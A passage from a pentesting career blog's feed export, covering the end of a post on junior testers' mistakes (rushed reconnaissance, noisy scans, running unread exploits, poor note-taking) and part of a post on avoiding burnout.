data-markholder=&quot;true&quot;&gt;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;In a pentest, even for repeat customers, recon is hands-down the most important stage.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;If done correctly, it shows the tester what is running across the network and what vulnerabilities could be leveraged to get access.&lt;/div&gt;&lt;div&gt;If done poorly, it will lead to missed opportunities and no added value to the client.&lt;/div&gt;&lt;div&gt;&amp;nbsp;&lt;/div&gt;&lt;div&gt;A famous quote excerpted from ancient book Art of War, by Chinese general Sun-Tzu, goes:  &lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;div style=&quot;left: -99999px;&quot;&gt;
&quot;&lt;i&gt;&lt;b&gt;If you know the enemy and know yourself, you need not fear the results of a hundred battles&lt;/b&gt;&lt;/i&gt;&quot;.&lt;/div&gt;&lt;/blockquote&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEjgRhGuzdwkPcpWd6hjZj4TqkY5Sn5Pvm4orAcxKpdourJLAUNVwjU6m2Jvbr0xejsko6v3wlNSoVJPrV2bLZCveSylWdpQ4UCr-LLMCnfj1XqdPc_q8SRg-Ncl0npJ-ZZcvaAI-0CWxeWuPqpZ5iri8TARBLwB85r6gLmsw6wywBuo6ydlJaR5QLBYWg=s1232&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;574&quot; data-original-width=&quot;1232&quot; height=&quot;209&quot; src=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEjgRhGuzdwkPcpWd6hjZj4TqkY5Sn5Pvm4orAcxKpdourJLAUNVwjU6m2Jvbr0xejsko6v3wlNSoVJPrV2bLZCveSylWdpQ4UCr-LLMCnfj1XqdPc_q8SRg-Ncl0npJ-ZZcvaAI-0CWxeWuPqpZ5iri8TARBLwB85r6gLmsw6wywBuo6ydlJaR5QLBYWg=w402-h209&quot; width=&quot;402&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;u&gt;&amp;nbsp;Most organizations don&#39;t know the enemy, nor themselves&lt;/u&gt;. Knowing 
the enemy can require a remarkable effort in terms of financial and 
non-financial resources (security consultants, honeypots, etc.) that not
 all organizations can afford, but knowing yourself should be 
imperative. If an organization doesn&#39;t know its vulnerabilities and its 
internal problems that could lead to a breach, it&#39;s already lost the 
battle, because no one will see the enemy coming.&lt;/p&gt;&lt;/div&gt;&lt;div&gt;Regardless of the operating system, for each in-scope hosts, a pentester should recon and enumerate all services and ports as more thoroughly as possible. Once you determined which services are running on the open ports discovered through the recon activity (Nmap), you&#39;re gonna need to run Nmap scripts to dig deeper and highlight potential exploit avenues, analyze the webpage source code, enumerate web directories through &lt;span style=&quot;font-family: courier;&quot;&gt;Burp&lt;/span&gt;, &lt;span style=&quot;font-family: courier;&quot;&gt;gobuster&lt;/span&gt; or &lt;span style=&quot;font-family: courier;&quot;&gt;dirsearch&lt;/span&gt;, run &lt;span style=&quot;font-family: courier;&quot;&gt;nikto&lt;/span&gt; and &lt;span style=&quot;font-family: courier;&quot;&gt;Nessus&lt;/span&gt; for vulnerability scans, and in general dig as deeper as possible.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Only after the enumeration is completed, it is now time to move to the validation/exploitation stage.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;You can&#39;t exploit what you&#39;re not sure about.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;A common error new pentesters make is to think a pentest is like a CTF, because they&#39;re used to completing a series of goals in a very limited time, so they think they need to rush the whole thing.&lt;/div&gt;&lt;div&gt;The most typical example of a CTF-like scenario (at least IMHO) is the OSCP exam, where you need to hack 5 machines in 23.45 hours.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;This is totally unrealistic. I normally test machines for 1-2 weeks or longer (depending on the scope width) before wrapping up a project.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Due to their CTF-based mindset and to their strong desire to get a shell, junior pentesters may rush the recon stage and jump straight ahead to exploitation, without thoroughly enumerating the services running on the specific host(s). Needless to say, this is a recipe for disaster. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;And, yeah, I&#39;ve been there myself. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Projects deadlines are designed to give testers enough time to complete all needed stages. Overlooking recon leads to missed opportunities and to wrong assumptions. You need to understand what the discovery scans output shows, before even thinking of moving to exploitation.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;You can&#39;t jump to conclusions without looking at what you have before you. In other words, ENUMERATE, ENUMERATE, ENUMERATE!&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;PENTESTING REAL-WORLD TARGETS AND ROOTING HTB (or alike platforms, such as PG, etc.) PURPOSEFULLY VULNERABLE MACHINES ARE TWO TOTALLY DIFFERENT ANIMALS.&lt;/i&gt;&lt;/div&gt;&lt;div&gt;Techniques working right away on a HTB machine often don&#39;t work the same way, or don&#39;t work at all, with real-world targets, because most organizations are very consistent in patching potential exploits.&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;This doesn&#39;t mean you shouldn&#39;t be practicing on those platforms, though&lt;/i&gt;. Research skills are paramount to grow in an industry where you&#39;re mostly required to keep training on your own, and no hand holding is expected, as things constantly change every second. I sometimes learned techniques from them (e.g. exploiting an unauthenticated Redis server) I could use in real-world engagements.&lt;/div&gt;&lt;div&gt;However, even when that happened, the specific scenario I was up with wasn&#39;t 100% like HTB, cause the real-world misconfiguration wasn&#39;t as severe. I was unable to retrieve SSH private keys, for example, but I could enumerate users, obtain configuration information, etc.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;ol start=&quot;3&quot;&gt;&lt;li&gt;&lt;div&gt;&lt;i&gt;Using loud and potentially disruptive techniques&lt;/i&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;div&gt;&lt;i&gt;&lt;span data-markholder=&quot;true&quot;&gt;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;YOU NEED TO BE ACCOUNTABLE FOR YOUR TRAFFIC. It is vital to understand the implications of running Nmap with a specific set of options, and the risks it could cause. In fact, the more Nmap advanced options are used, the higher the traffic the scan will generate. This can determine two orders of problems:&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;ol style=&quot;text-align: left;&quot;&gt;&lt;li&gt;When certain conditions are met, it can cause remote servers or fragile software components to crash&lt;/li&gt;&lt;li&gt;It can create a revealing audit trail, defeating the purpose for a red teaming engagement.&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;In fact, beginner pentesters are so eager to get a shell that sometimes don&#39;t consider the possible implications of their activity, and might end up crashing servers, getting blocked or blacklisted by defensive tools like IPSs, fail2ban, WAFs, you name it.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;They&#39;re not used to account for this, because normally no such thing is in place for a purposefully vulnerable HTB, PG, or Vulnhub machine, for example.&lt;/div&gt;&lt;div&gt; In real-world, instead, if you attempt an XSS or a SQLi attack and the target has a Web Application Firewall in place, your attack will be stopped and your IP might also be banned, temporarily or permanently.&lt;/div&gt;&lt;div&gt;Sure, you can use a VPN, but you left a log behind. For red teaming, that&#39;s not exactly what you want. You always leave a log behind regardless of what you do, but you created a much more suspicious audit trail than you&#39;d do otherwise.&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Some specific Nmap options create a lot of noise and generate a great deal of traffic, which, in some cases, might lead to crash a server.&lt;/div&gt;&lt;div&gt;This is the last thing you want. No reverts are available for real-world targets. When you crash a server, someone will have to fix it. Additionally, you might end up taking down critical infrastructure, such as a VPN or an Exchange server. The last thing you want is getting a customer mad, because its employees can&#39;t log on to their VPN, or to a domain controller, to get their jobs done.&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The more options you enable in an Nmap scan, the more traffic you can generate. In fact, if you add more aggressive options to the scan, like&lt;i&gt; &lt;/i&gt;&lt;span style=&quot;color: #ffa400; font-family: courier;&quot;&gt;-A&lt;/span&gt;&lt;i&gt; &lt;/i&gt;(which includes &lt;span style=&quot;font-family: courier;&quot;&gt;traceroute&lt;/span&gt;), you might even create enough traffic to crash a remote server, given certain conditions.&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Therefore, while with training platforms you can attempt any type of brute forcing attacks and use any type of payload, no matter how noisy it is (meterpreter, unobfuscated malware, etc.) without worrying too much about it, you can&#39;t do this in real-world engagements, unless duly authorized.&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;THROWING RANDOM PAYLOADS AT A TARGET HOPING TO GET A SHELL IS NOT GONNA WORK, OTHER THAN OUT OF MERE LUCK.&amp;nbsp; &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;You need to make sure to research the right exploit (if any is available) for the specific vulnerable version working on the affected host(s), and you also need to make sure the exploit does what you want. In other terms, you need to read through the exploit code, understand what it really does and whether is what you need in your specific case, before even running it against a specific target.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Using a hands-on example, if your target runs Apache 2.4.29 and you found an exploit for Apache 2.4.28, that&#39;s not gonna work.&lt;/div&gt;&lt;div&gt;Then, you also need to pay attention to the type of vulnerability leveraged by the exploit.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;If you want to obtain remote code execution and the exploit you&#39;re looking at refers to a denial of service vulnerability, that&#39;s not what you need.&lt;/div&gt;&lt;div&gt;I was like that. A long time ago, I was working on a Vulnhub machine with a friend and he made me notice that, though the exploit I had found was referring to remote code execution, some comments were mentioning a denial of service vulnerability.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I hadn&#39;t even looked at the code. I was like, okay it matches the software version, so it&#39;s a winner. WRONG!&lt;/div&gt;&lt;div&gt;A very good example of what might happen if you don&#39;t look through exploit code can be found here: &lt;a href=&quot;https://isc.sans.edu/forums/diary/When+is+a+0day+not+a+0day+Fake+OpenSSh+exploit+again/8185/&quot; rev=&quot;en_rl_none&quot;&gt;https://isc.sans.edu/forums/diary/When+is+a+0day+not+a+0day+Fake+OpenSSh+exploit+again/8185/&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Of course, for red teaming engagements, this is an egregious no-no.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;ol start=&quot;4&quot;&gt;&lt;li&gt;&lt;div&gt;&lt;i&gt;Overlooking the importance of documenting your work as you go&lt;/i&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Documentation is paramount to writing a good report, so a pentester should document each step and each findings as the testing goes.&lt;/div&gt;&lt;div&gt;Being systematic in taking good notes and screenshots along the way is critical, especially for internal pentests.&lt;/div&gt;&lt;div&gt;Things might change at a later time over testing, or (for internal engagements) it might not be possible to document things later on, cause you&#39;re no longer allowed access to the internal network after wrapping up testing.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;For example, I found some FTP servers were exposed externally, which is never a good thing.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I had taken a screenshot of that at the specific moment in time when I discovered them. Later on, over the report writing stage, I tried to connect back to those server, but they had been taken down.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Without a screenshot, a report doesn&#39;t effectively show the impact of a finding. Hadn&#39;t I documented the vulnerability back in the day, while testing, I wouldn&#39;t be able to do it at a later time, when I needed that screenshot for the report.&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Wrap-up&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The sooner new pentesters can unlearn the CTF-like mindset developed by using HTB, THM, PG or other practice platforms, the sooner they can progress in their career.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: #ffa400;&quot;&gt;&lt;b&gt;So, the recipe is: less CTF, more ninja.&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: #ffa400;&quot;&gt;&lt;b&gt;Crushing CTFs doesn&#39;t make you a hacker, and you shouldn&#39;t be assuming to be such, but it can be a first step in that direction.&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Thanks for your attention.&lt;/div&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;hr /&gt;
&lt;a href=&quot;http://savvygeektips.blogspot.com&gt;One Tip A Day Tech Blog&lt;/a&gt;&lt;/div&gt;</description><link>http://savvygeektips.blogspot.com/2021/10/tips-for-information-security.html</link><author>noreply@blogger.com (SavvyGeek)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/a/AVvXsEiNIRxRCnyJAwtq-zeXmnxIvPy6AjNbtARmkyixyuk9oFxUr9eRrAnm4aoaYIv1zk6vXpssrvIPSFYpbTTNJZ7lN_jsSr8goY8GQZT8A8592idQlyKPmZ3qBJmOU6j9huILyK_N8USIxB3LZHJkDJrdYnEZBTXEint1FZGdoxS4C_vkjh1gxGxGnbKCkg=s72-c" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2419284614709488194.post-106541138024388904</guid><pubDate>Sun, 30 Aug 2020 01:11:00 +0000</pubDate><atom:updated>2025-12-07T12:02:46.830-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">hacking</category><category domain="http://www.blogger.com/atom/ns#">pentesting</category><category domain="http://www.blogger.com/atom/ns#">tips&amp;tricks</category><title>Tips for an Information Security Analyst/Pentester career - Ep. 87- Dealing with Burnout</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;ennote&quot;&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;This time around I feel the need to face a taboo topic in the pentesting industry: dealing with burnout.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;Most guys in this industry don&#39;t like to talk about it because they feel it as an admission of their weakness. I never thought I&#39;d be talking about this topic either, because I love what I do and to me it&#39;s a lot of fun.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;However, after you&#39;ve done this for a while, you start realizing that you deal with recurring vulnerabilities that often never get patched and that you end up working too much, which doesn&#39;t necessarily mean being productive.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;Working from home, at least in my case, you don&#39;t have a clear boundary between work and off work hours and sometimes you end up working way more than you should, getting burned out and feeling drained of any energy. Not all the aspects of this problem are personally referred to myself, to be 100% transparent, but I can relate to a lot of them. Over time I developed some ideas that helped me deal with this problem, and I&#39;ll share them with you guys.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i&gt;SLOW DOWN TO GO FASTER&lt;/i&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;Putting billable hours in is important, but pentesting is also a matter of quality, other than quantity. If you keep going for hours when you&#39;re burned out, this doesn&#39;t do any good for you or your client, as you&#39;re getting nowhere. Often times, taking a break and getting back to what you were doing with a clear mind later on goes a long way.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;Actually, this method often allowed me to have major breakthroughs and pop shells.&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;Therefore, allow yourself to take breaks, because you&#39;re not a machine, for God&#39;s sake.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;Get a snack, go outside, walk the dog for 10 minutes and then go back at it refreshed.&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjc8Ct2PMUZzzLj52rl6-0nMnFrT5laUEDblhRb9luvDMddsExgYXz-3JQJFjmkSVb0YE9fXNbisyHzy_0suWtctunILmjnyt9ih2nTQOXlblhCOayeoeISRTifNz1DdOYURdpDoQSOQCLp/s1600/external-content.duckduckgo.com.jpeg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;373&quot; data-original-width=&quot;474&quot; height=&quot;502&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjc8Ct2PMUZzzLj52rl6-0nMnFrT5laUEDblhRb9luvDMddsExgYXz-3JQJFjmkSVb0YE9fXNbisyHzy_0suWtctunILmjnyt9ih2nTQOXlblhCOayeoeISRTifNz1DdOYURdpDoQSOQCLp/s640/external-content.duckduckgo.com.jpeg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt; &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;FOCUS ON THE MOST IMPORTANT TASKS AND DECIDE WHEN TO STOP FOR THE DAY&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;I normally make a list of the most important tasks I need to accomplish over a day and try ticking them off one at a time.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;I found I needed to force myself to put my work laptop away at a certain time (unless something major pops up) and call it a day. I actually&amp;nbsp;found out I got more productive that way, because I focused on a certain number of high-priority tasks only and, when I cross them off, I&#39;m done.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;FIGHT YOUR INNER DEMONS&amp;nbsp;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;My interactions with my coworkers are virtual, as I&#39;m remote.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;Though I don&#39;t miss being in an office or I feel any desire to go back to that type of experience, that can often&amp;nbsp;make you feel detached, like you don&#39;t matter. We all have that nasty inner voice telling you that you suck, they&#39;re gonna find out you&#39;re a lie, they&#39;re gonna fire you, blah blah…&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;Don&#39;t allow that voice to take you down, and fight it back. I find the best way to push it away is to grab my laptop and start working.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;You&amp;nbsp;might want to seek help when you&#39;re stuck, but also offer help.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;I often find helping others distracts me from my worries and makes me feel better.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;PURSUE OTHER INTERESTS OUTSIDE WORK&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;I&#39;m&amp;nbsp;extremely passionate about my work because to me is more than a job, so I mostly deal with hacking for fun, other than work. I still keep going through Vulnhub, HTB, etc. but, after a while, I realized I needed to do something different than&amp;nbsp;information security when I don&#39;t work, in order to be a better person and recharge my batteries. When you dealt with a complex pentesting engagement for most of your day, maybe you might feel a little less enthusiastic about playing a CTF. You did it for work, you did the real thing, so it doesn&#39;t entice&amp;nbsp;you that much. Of course, that doesn&#39;t mean you should stop learning, because you need to be constantly learning for you to be a better hacker, but you also need to talk to people, spend time&amp;nbsp;with your family and do something different.&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;For many years I&#39;ve&amp;nbsp;felt guilty if I spent even one minute doing something other than info sec, because I wanted to be as good as I could get. I still feel that way but, after the pandemic, I also started feeling the need to do&amp;nbsp;something else when&amp;nbsp;I don&#39;t work.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;In my case, I found music was a very good outlet for me and I started picking some instruments. I don&#39;t think I&#39;m gonna ever play in a band, but it&#39;s a lot of fun. I also surprisingly found out that, by doing so, I could get better at my job.&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;SHARPEN YOUR MIND AND FOCUS ON IMPROVEMENT&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;Passion is important, but a clear mind is yet more important to get a good job done. Getting burned out doesn&#39;t do any good for your company, your clients and, above all, yourself.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;You can&#39;t do&amp;nbsp;quality work when you don&#39;t think straight, because you get so swallowed by your inner darkness that you can miss the opportunities in&amp;nbsp;front of you.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;My testing relies on automated tools, but it&#39;s&amp;nbsp;mostly done&amp;nbsp;manually, on any individual page, input field, search field, wherever I can enter something malicious.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;When my mind is clear, things click pretty quickly for me. My mind is my working tool and I need to keep it sharp and&amp;nbsp;clean, like an engine.&amp;nbsp;Take care of it, and it&#39;ll work wonders for you. Let it decay, and you&#39;ll soon &lt;/span&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;be&lt;/span&gt; gone.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhT1bSsJDiHi7l1Tfwyz7VZMGjs08yvqmTNHoWGzeIAtOCRozxm2kAc8iA5w-v47lwTOMVFOEdJAIoiRQjmPBMXlTurA8dAAdcCtmwRrOdZ2mKJNPfrF3FTyD7ztZRtJAkpjIhq8G59YLt8/s1600/external-content.duckduckgo.com1.jpeg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;298&quot; data-original-width=&quot;243&quot; height=&quot;640&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhT1bSsJDiHi7l1Tfwyz7VZMGjs08yvqmTNHoWGzeIAtOCRozxm2kAc8iA5w-v47lwTOMVFOEdJAIoiRQjmPBMXlTurA8dAAdcCtmwRrOdZ2mKJNPfrF3FTyD7ztZRtJAkpjIhq8G59YLt8/s640/external-content.duckduckgo.com1.jpeg&quot; width=&quot;521&quot; /&gt;&lt;/a&gt; &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;FRESHEN YOUR PERSPECTIVES&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;After a while on the job, you start following a pretty repetitive approach,&amp;nbsp;and this might demotivate you.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;I found that using new tools and also learning how to use my tools in ways I hadn&#39;t considered or thought&amp;nbsp;about it&amp;nbsp;before&amp;nbsp;fills me with a new enthusiasm. I&#39;m always after ways of improving what I do and get faster, and I think there&#39;s always room for improvement. Even if you do a good job, you can always do better and you should always look forward to getting better at what you do.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Mentoring and training others can also produce alike beneficial effects. By explaining well-known concepts to junior guys, you get actually forced to relearn them and thinking about them in a new way.&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;We hackers are innovators, not&amp;nbsp;bureaucrats. The moment you become a&amp;nbsp;bureaucrat, and you&amp;nbsp;settle down on a routine, you can&#39;t keep doing this job, the way I see it. That&#39;s why it&#39;s so&amp;nbsp; hard, and it&#39;s not for everyone.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;LOOK FORWARD BUT ALSO REMEMBER WHAT BROUGHT YOU HERE&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
